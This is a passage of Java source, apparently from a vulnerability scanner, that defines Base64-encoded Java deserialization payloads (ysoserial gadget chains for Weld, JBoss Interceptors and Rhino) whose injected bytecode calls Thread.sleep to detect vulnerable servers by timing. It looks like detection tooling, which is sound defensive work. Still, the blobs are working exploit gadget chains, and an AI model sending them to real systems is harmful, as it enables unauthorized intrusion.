ADAABAAAABQATADEAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAAB8AEgAAACAAAwAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAACIAEgAAACoABAAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAGQADAAIAAAANpwADAUwRJxCFuAAvsQAAAAAAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4ADQAAAZvK/rq+AAAAMQAbBwACAQAQdXRpbC9HYWRnZXRzJEZvbwcABAEAEGphdmEvbGFuZy9PYmplY3QHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkx1dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAAx1dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAmABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgACTAAFZHVtbXl0ABJMamF2YS9sYW5nL09iamVjdDtMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IAKWphdmEuYmVhbnMuYmVhbmNvbnRleHQuQmVhbkNvbnRleHRTdXBwb3J0vEgg8JGPuQwDAAFJAAxzZXJpYWxpemFibGV4cgAuamF2YS5iZWFucy5iZWFuY29udGV4dC5CZWFuQ29udGV4dENoaWxkU3VwcG9ydFfU78cE3HIlAgABTAAUYmVhbkNvbnRleHRDaGlsZFBlZXJ0AClMamF2YS9iZWFucy9iZWFuY29udGV4dC9CZWFuQ29udGV4dENoaWxkO3hwcQB+ABkAAAABc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUDAAJMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzcztMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDt4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQACGY1YTVhNjA4cQB+AAl4dwQAAAAAeHEAfgAdeA=="));
        payloadsSleep.put("Javassist/Weld (Sleep)", Base64.decodeBase64("rO0ABXNyADlvcmcuamJvc3Mud2VsZC5pbnRlcmNlcHRvci5wcm94eS5JbnRlcmNlcHRvck1ldGhvZEhhbmRsZXLM8O5RGt5IsQMABUwAEWludGVyY2VwdGlvbk1vZGVsdAA4TG9yZy9qYm9zcy93ZWxkL2ludGVyY2VwdG9yL3NwaS9tb2RlbC9JbnRlcmNlcHRpb25Nb2RlbDtMABtpbnRlcmNlcHRvckhhbmRsZXJJbnN0YW5jZXN0AA9MamF2YS91dGlsL01hcDtMABhpbnZvY2F0aW9uQ29udGV4dEZhY3Rvcnl0AEFMb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3Ivc3BpL2NvbnRleHQvSW52b2NhdGlvbkNvbnRleHRGYWN0b3J5O0wAHnRhcmdldENsYXNzSW50ZXJjZXB0b3JNZXRhZGF0YXQAPUxvcmcvamJvc3Mvd2VsZC9pbnRlcmNlcHRvci9zcGkvbWV0YWRhdGEvSW50ZXJjZXB0b3JNZXRhZGF0YTtMAA50YXJnZXRJbnN0YW5jZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOG9yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLmJ1aWxkZXIuSW50ZXJjZXB0aW9uTW9kZWxJbXBsqH23DpQF1LICAAVMAA9hbGxJbnRlcmNlcHRvcnN0AA9MamF2YS91dGlsL1NldDtMABJnbG9iYWxJbnRlcmNlcHRvcnNxAH4AAkwAEWludGVyY2VwdGVkRW50aXR5cQB+AAVMABdtZXRob2RCb3VuZEludGVyY2VwdG9yc3EAfgACTAAWbWV0aG9kc0lnbm9yaW5nR2xvYmFsc3EAfgAIeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hTZXTYbNdald0qHgIAAHhyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABA/QAAAAAAAAXNyADtvcmcuamJvc3Mud2VsZC5pbnRlcmNlcHRvci5yZWFkZXIuU2ltcGxlSW50ZXJjZXB0b3JNZXRhZGF0YQAEbiYyzfCLAgADWgALdGFyZ2V0Q2xhc3NMABRpbnRlcmNlcHRvck1ldGhvZE1hcHEAfgACTAAUaW50ZXJjZXB0b3JSZWZlcmVuY2V0AD5Mb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3Ivc3BpL21ldGFkYXRhL0ludGVyY2VwdG9yUmVmZXJlbmNlO3hwAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABfnIANW9yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLnNwaS5tb2RlbC5JbnRlcmNlcHRpb25UeXBlAAAAAAAAAAASAAB4cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdAANUE9TVF9BQ1RJVkFURXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABc3IAX29yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLnJlYWRlci5EZWZhdWx0TWV0aG9kTWV0YWRhdGEkRGVmYXVsdE1ldGhvZE1ldGFkYXRhU2VyaWFsaXphdGlvblByb3h5RJUx7JHe/wkCAAJMAA9tZXRob2RSZWZlcmVuY2V0ADRMb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3IvYnVpbGRlci9NZXRob2RSZWZlcmVuY2U7TAAac3VwcG9ydGVkSW50ZXJjZXB0aW9uVHlwZXNxAH4ACHhwc3IAMm9yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLmJ1aWxkZXIuTWV0aG9kUmVmZXJlbmNl8eoUNeWxSq8CAANMAA5kZWNsYXJpbmdDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sADnBhcmFtZXRlclR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAeTAAFX25hbWVxAH4AHUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcQB+AAt3DAAAABA/QAAAAAAAAXEAfgAUeHh4c3IAQ29yZy5qYm9zcy53ZWxkLmludGVyY2VwdG9yLnJlYWRlci5DbGFzc01ldGFkYXRhSW50ZXJjZXB0b3JSZWZlcmVuY2X3ZzfjWi0DMQIAAUwADWNsYXNzTWV0YWRhdGF0ADdMb3JnL2pib3NzL3dlbGQvaW50ZXJjZXB0b3Ivc3BpL21ldGFkYXRhL0NsYXNzTWV0YWRhdGE7eHBzcgA5b3JnLmpib3NzLndlbGQuaW50ZXJjZXB0b3IucmVhZGVyLlJlZmxlY3RpdmVDbGFzc01ldGFkYXRh4wOFP/dsTr4CAAFMAAVjbGF6enEAfgAceHB2cQB+ABB4c3EAfgAQP0AAAAAAAAx3CAAAABAAAAAGfnEAfgASdAANQVJPVU5EX0lOVk9LRXNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AA5QT1NUX0NPTlNUUlVDVHNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AAtQUkVfREVTVFJPWXNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AA1QUkVfUEFTU0lWQVRFc3EAfgAWAAAAAXcEAAAAAXEAfgAPeH5xAH4AEnQADkFST1VORF9USU1FT1VUc3EAfgAWAAAAAXcEAAAAAXEAfgAPeHEAfgAUc3EAfgAWAAAAAXcEAAAAAXEAfgAPeHhxAH4ALXNxAH4AED9AAAAAAAAAdwgAAAAQAAAAAHhzcQB+AAt3DAAAABA/QAAAAAAAAHhzcQB+ABA/QAAAAAAADHcIAAAAEAAAAAFxAH4AD3NxAH4AIAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABjzK/rq+AAAAMgAzBwAxAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BABBqYXZhL2xhbmcvVGhyZWFkBwAqAQAFc2xlZXABAAQoSilWDAAsAC0KACsALgEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDI5OTU3OTc0MDM4MDABACBMeXNvc2VyaWFsL1B3bmVyMjAyOTk1Nzk3NDAzODAwOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC8AEgAAAAwAAQAAAAUAEwAyAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAA0ABIAAAAgAAMAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA4ABIAAAAqAAQAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACIAAwACAAAADacAAwFMEScQhbgAL7EAAAABADAAAAADAAEDAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AEUAAAHUyv66vgAAADIAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAPAASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHhzcgBAb3JnLmpib3NzLndlbGQuaW50ZXJjZXB0b3IucHJveHkuRGVmYXVsdEludm9jYXRpb25Db250ZXh0RmFjdG9yecdRD8aM6DvHAgAAeHBzcQB+AA0Bc3EAfgAQP0AAAAAAAAB3CAAAABAAAAAAeHNxAH4AKHEAfgAsc3EAfgAQP0AAAAAAAAx3CAAAABAAAAABdAAJeXNvc2VyaWFscQB+AE94eA=="));
        payloadsSleep.put("JBoss Interceptors (Sleep)", Base64.decodeBase64("rO0ABXNyADRvcmcuamJvc3MuaW50ZXJjZXB0b3IucHJveHkuSW50ZXJjZXB0b3JNZXRob2RIYW5kbGVyhzpK93HCg8oDAAVMABFpbnRlcmNlcHRpb25Nb2RlbHQAM0xvcmcvamJvc3MvaW50ZXJjZXB0b3Ivc3BpL21vZGVsL0ludGVyY2VwdGlvbk1vZGVsO0wAG2ludGVyY2VwdG9ySGFuZGxlckluc3RhbmNlc3QAD0xqYXZhL3V0aWwvTWFwO0wAGGludm9jYXRpb25Db250ZXh0RmFjdG9yeXQAPExvcmcvamJvc3MvaW50ZXJjZXB0b3Ivc3BpL2NvbnRleHQvSW52b2NhdGlvbkNvbnRleHRGYWN0b3J5O0wAHnRhcmdldENsYXNzSW50ZXJjZXB0b3JNZXRhZGF0YXQAOExvcmcvamJvc3MvaW50ZXJjZXB0b3Ivc3BpL21ldGFkYXRhL0ludGVyY2VwdG9yTWV0YWRhdGE7TAAOdGFyZ2V0SW5zdGFuY2V0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADNvcmcuamJvc3MuaW50ZXJjZXB0b3IuYnVpbGRlci5JbnRlcmNlcHRpb25Nb2RlbEltcGzUlOFQ4rjbIAIABUwAD2FsbEludGVyY2VwdG9yc3QAD0xqYXZhL3V0aWwvU2V0O0wAEmdsb2JhbEludGVyY2VwdG9yc3EAfgACTAARaW50ZXJjZXB0ZWRFbnRpdHlxAH4ABUwAF21ldGhvZEJvdW5kSW50ZXJjZXB0b3JzcQB+AAJMABZtZXRob2RzSWdub3JpbmdHbG9iYWxzcQB+AAh4cHNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAABc3IANm9yZy5qYm9zcy5pbnRlcmNlcHRvci5yZWFkZXIuU2ltcGxlSW50ZXJjZXB0b3JNZXRhZGF0YQAEbiYyzfCLAgADWgALdGFyZ2V0Q2xhc3NMABRpbnRlcmNlcHRvck1ldGhvZE1hcHEAfgACTAAUaW50ZXJjZXB0b3JSZWZlcmVuY2V0ADlMb3JnL2pib3NzL2ludGVyY2VwdG9yL3NwaS9tZXRhZGF0YS9JbnRlcmNlcHRvclJlZmVyZW5jZTt4cAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAX5yADBvcmcuamJvc3MuaW50ZXJjZXB0b3Iuc3BpLm1vZGVsLkludGVyY2VwdGlvblR5cGUAAAAAAAAAABIAAHhyAA5qYXZhLmxhbmcuRW51bQAAAAAAAAAAEgAAeHB0AA1QT1NUX0FDVElWQVRFc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAF3BAAAAAFzcgBab3JnLmpib3NzLmludGVyY2VwdG9yLnJlYWRlci5EZWZhdWx0TWV0aG9kTWV0YWRhdGEkRGVmYXVsdE1ldGhvZE1ldGFkYXRhU2VyaWFsaXphdGlvblByb3h51XlJT5t90soCAAJMAA9tZXRob2RSZWZlcmVuY2V0AC9Mb3JnL2pib3NzL2ludGVyY2VwdG9yL2J1aWxkZXIvTWV0aG9kUmVmZXJlbmNlO0wAGnN1cHBvcnRlZEludGVyY2VwdGlvblR5cGVzcQB+AAh4cHNyAExvcmcuamJvc3MuaW50ZXJjZXB0b3IuYnVpbGRlci5NZXRob2RSZWZlcmVuY2UkTWV0aG9kSG9sZGVyU2VyaWFsaXphdGlvblByb3h51Gpg9Ek+fdICAANMAAljbGFzc05hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAptZXRob2ROYW1lcQB+ABxbABNwYXJhbWV0ZXJDbGFzc05hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO3hwdAA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbHQADm5ld1RyYW5zZm9ybWVydXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAHNxAH4AC3cMAAAAED9AAAAAAAABcQB+ABR4eHhzcgA+b3JnLmpib3NzLmludGVyY2VwdG9yLnJlYWRlci5DbGFzc01ldGFkYXRhSW50ZXJjZXB0b3JSZWZlcmVuY2XLg7O++Tsw/gIAAUwADWNsYXNzTWV0YWRhdGF0ADJMb3JnL2pib3NzL2ludGVyY2VwdG9yL3NwaS9tZXRhZGF0YS9DbGFzc01ldGFkYXRhO3hwc3IANG9yZy5qYm9zcy5pbnRlcmNlcHRvci5yZWFkZXIuUmVmbGVjdGl2ZUNsYXNzTWV0YWRhdGHjA4U/92xOvgIAAUwABWNsYXp6dAARTGphdmEvbGFuZy9DbGFzczt4cHZxAH4AEHhzcQB+ABA/QAAAAAAADHcIAAAAEAAAAAZ+cQB+ABJ0AA5BUk9VTkRfVElNRU9VVHNxAH4AFgAAAAF3BAAAAAFxAH4AD3h+cQB+ABJ0AA1QUkVfUEFTU0lWQVRFc3EAfgAWAAAAAXcEAAAAAXEAfgAPeH5xAH4AEnQADlBPU1RfQ09OU1RSVUNUc3EAfgAWAAAAAXcEAAAAAXEAfgAPeH5xAH4AEnQADUFST1VORF9JTlZPS0VzcQB+ABYAAAABdwQAAAABcQB+AA94fnEAfgASdAALUFJFX0RFU1RST1lzcQB+ABYAAAABdwQAAAABcQB+AA94cQB+ABRzcQB+ABYAAAABdwQAAAABcQB+AA94eHEAfgAqc3EAfgAQP0AAAAAAAAB3CAAAABAAAAAAeHNxAH4AC3cMAAAAED9AAAAAAAAAeHNxAH4AED9AAAAAAAAMdwgAAAAQAAAAAXEAfgAPc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAcTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAY8yv66vgAAADIAMwcAMQEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAGQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHACcBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEABXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMjAzMjQxMjU3NzA3NDAwAQAgTHlzb3NlcmlhbC9Qd25lcjIwMzI0MTI1NzcwNzQwMDsAIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMAMgAAAAEAFQAWAAIAFwAAAAQAAQAYAA4AAAA/AAAAAwAAAAGxAAAAAgARAAAABgABAAAANAASAAAAIAADAAAAAQATADIAAAAAAAEAGgAbAAEAAAABABwAHQACAAEAFQAeAAIAFwAAAAQAAQAYAA4AAABJAAAABAAAAAGxAAAAAgARAAAABgABAAAAOAASAAAAKgAEAAAAAQATADIAAAAAAAEAGgAbAAEAAAABAB8AIAACAAAAAQAhACIAAwAIACkADQABAA4AAAAiAAMAAgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACMAAAACACQAJQAAAAoAAQABACYAKAAJdXEAfgBGAAAB1Mr+ur4AAAAyABsHAAIBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwcABAEAEGphdmEvbGFuZy9PYmplY3QHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAZAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAA0ZvbwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoAAQABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAADwAEgAAAAwAAQAAAAUAEwAUAAAAAgAVAAAAAgAWABcAAAAKAAEAAQAYABoACXB0AARQd25ycHcBAHh4c3IAO29yZy5qYm9zcy5pbnRlcmNlcHRvci5wcm94eS5EZWZhdWx0SW52b2NhdGlvbkNvbnRleHRGYWN0b3J5QU6W9ml3WmECAAB4cHNxAH4ADQFzcQB+ABA/QAAAAAAAAHcIAAAAEAAAAAB4c3EAfgAkcQB+AClzcQB+ABA/QAAAAAAADHcIAAAAEAAAAAF0AAl5c29zZXJpYWxxAH4AUHh4"));
        payloadsSleep.put("Mozilla Rhino (Sleep)", Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAnNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAP3QAIHlzb3NlcmlhbC5wYXlsb2Fkcy5Nb3ppbGxhUmhpbm8xdAASTW96aWxsYVJoaW5vMS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAO3QAGXlzb3NlcmlhbC5HZW5lcmF0ZVBheWxvYWR0ABRHZW5lcmF0ZVBheWxvYWQuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHY